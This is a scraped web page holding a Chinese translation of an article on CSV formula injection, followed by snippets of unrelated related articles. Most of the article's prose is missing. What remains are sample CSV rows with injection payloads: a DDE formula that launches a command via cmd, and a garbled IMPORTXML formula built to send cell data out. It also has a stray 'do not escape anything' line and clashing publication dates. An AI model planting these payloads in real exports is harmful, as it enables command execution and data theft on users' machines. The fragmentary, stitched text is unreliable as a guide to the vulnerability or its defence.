譯 CSV 注入 被人低估的巨大風險

2021-09-23 01:24:24 字數 1636 閱讀 9289

譯文出自:掘金翻譯計畫

譯者:mnikn

校對者:yct21,cacppuccino

userid,billtodate,projectname,description,durationminutes

1,2017-07-25,test project,flipped the jibbet,60

2,2017-07-25,important client,"bop, dop, and giglip", 240

userid,billtodate,projectname,description,durationminutes

1,2017-07-25,test project,flipped the jibbet,60

2,2017-07-25,important client,"bop, dop, and giglip", 240

2,2017-07-25,important client,"=2+5", 240

userid,billtodate,projectname,description,durationminutes

1,2017-07-25,test project,flipped the jibbet,60

2,2017-07-25,important client,"bop, dop, and giglip", 240

2,2017-07-25,important client,"=2+5+cmd|' /c calc'!a0", 240

userid,billtodate,projectname,description,durationminutes

1,2017-07-25,test project,flipped the jibbet,60

2,2017-07-25,important client,"bop, dop, and giglip", 240

2,2017-07-25,important client,"=importxml(concat("

""", concatenate(a2:e2)), "

"//a"

")",240

userid,billtodate,projectname,description,durationminutes

1,2017-07-25,test project,flipped the jibbet,60

2,2017-07-25,important client,"bop, dop, and giglip", 240

2,2017-07-25,important client," =2+5", 240

如果它被用作系統間的資料交流,那麼不要轉義任何東西。

如果您不知道會發生什麼事情,或者是要在電子**應用程式中使用,或者隨後這個電子**將被用作軟體的匯入源,放棄吧,只能祈禱不會發生什麼事情了(或者,總是在使用 excel 時斷開網路連線,並在工作時遵循所有的安全提示)(修訂:這並非 100% 安全,因為攻擊者仍然可以使用巨集,讓自己的二進位制檔案來覆蓋已知的檔案。去他的。)。

原文發布時間為:2023年10月22日

csv注入初探以及利用

簡介 之前進行滲透的時候經常會碰見csv,excel匯入的功能。也思考過潛在安全隱患,今天剛好看到fb裡面的一篇文章,fb上的介紹並不詳細,對於其中的利用方式很感興趣,基於此進行了一番學習。fb鏈結 漏洞介紹 csv公式注入 csv injection 是一種會造成巨大影響的攻擊向量。攻擊包含向惡意...

譯 使用Ninject進行簡單依賴注入

那些最好的程式能夠容納不斷變化的需求,當然,要求程式滿足所有需求卻難如登天。這就是該依賴注入發揮作用的時候了.依賴注入的最終目的是達到松耦合,而松耦合可以讓程式在不重新編譯的情況下通過配置程式來改變程式的某些部分。下面通過乙個demo來展現ninject 我們建立乙個汽車模擬器程式,所有的汽車都需要...

譯 用 Rust 實現 csv 解析 part1

隨著 csv 1.0 剛剛發布,關於使用 rust 讀取和寫入 csv 資料的教程是時候發布了。本教程針對的是剛入門的 rust 程式設計師,因此有相當多的示例,並花了一些時間在基礎的概念解釋上。你可能會發現,其中部分內容很有用,但對有經驗的 rust 程式設計師來說,快速瀏覽會更有利。有關 rus...